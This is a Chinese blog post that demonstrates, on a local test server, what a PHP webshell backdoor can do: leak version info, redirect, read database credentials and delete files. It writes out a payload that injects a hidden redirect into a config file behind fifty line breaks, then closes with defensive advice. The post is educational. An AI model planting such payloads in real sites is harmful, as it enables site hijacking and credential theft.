技术分享

黑客留下的网站后门能做什么?

今天来聊一聊服务器安全的问题。这几天一直在着手服务器攻防问题,修复一些漏洞,写代码的人真的要注意安全问题。千万不要相信用户的输入!今天用PHP 代码展示一下危险。

测试准备

为了模拟,我在本地搭建了服务器环境,展示一个正常网站如何被攻击。

首先修改电脑本地host文件。改了之后就可以用test.com虚拟域名访问本地文件了。文件目录在“C:WindowsSystem32driversetc”

20200909111530613061-1

网站目录很简单,如下:

20200909111524532453

在网站入口中,引用了数据库配置文件,然后输出一句话来模拟网站首页。

20200909111519981998-5

在数据库配置文件中,我参照当前流行的框架ThinkPHP数据库配置文件,返回一个数据库基本信息数组,包括数据库的端口和密码。

20200909111594049404-1

接下来就是我们的重头戏,黑客后门文件。

20200909111513481348

你可能会觉得,就这?就这几行代码能干什么?

开始模拟攻击

我们访问一下我们的网站

20200909111576847684-2

网站可以正常访问,没有任何问题

20200909111535773577-3

访问一下黑客文件,好像也没有问题

1、输出php版本信息

20200909111616941694-1

现在黑客已经知道你后台php版本,装了那些插件,数据库用的是什么数据库

2、网页重定向

20200909111687998799-4

可以跳转到 百度了,这表示,黑客已经搭好了一个运行代码的环境。现在通过你的网站,已经可以随便写一行代码都可以执行了

3、读取数据库配置信息

20200909111626272627-4

已经把你的密码什么的都弄到手了,你的网站什么数据,都可以修改了,怕不怕。甚至可以“删库跑路”!!

4、删除文件

20200909111659645964-1

看:1.txt文件被删除了

20200909111610591059-3

可以删除你网站上的文件了

5、修改文件

 

?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("rn",50);
// 用空格代替<?php 
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...

// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);

 

20200909111600044-2

来看看你的db.php文件是怎么改变的

20200909111626012601

在文件头加入很多换行,你以为文件是空的,其实他已经在文件里加入一行跳转代码,无论别人怎么访问你的网站.都会跳到他写的网站去

攻击 End

看完是不是大吃一惊?别慌:我们要如何防备呢?

  • 不要相信用户的输入!不要相信用户的输入!不要相信用户的输入!
  • 在获取用户输入前一定要做过滤处理;
  • 在服务器上,设置文件的权限,不要每个文件都可以执行脚本权限;
  • 或者增加防篡改功能;
  • 或者修改你服务器的安全组,修改22,21等默认端口,不要端口全开;
  • 对整个站点进行扫描木马。
小飞
没有人可以左右你的人生,只是很多时候我们需要多一些勇气,去坚定自己的选择。
查看“小飞”的所有文章 →

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

相关推荐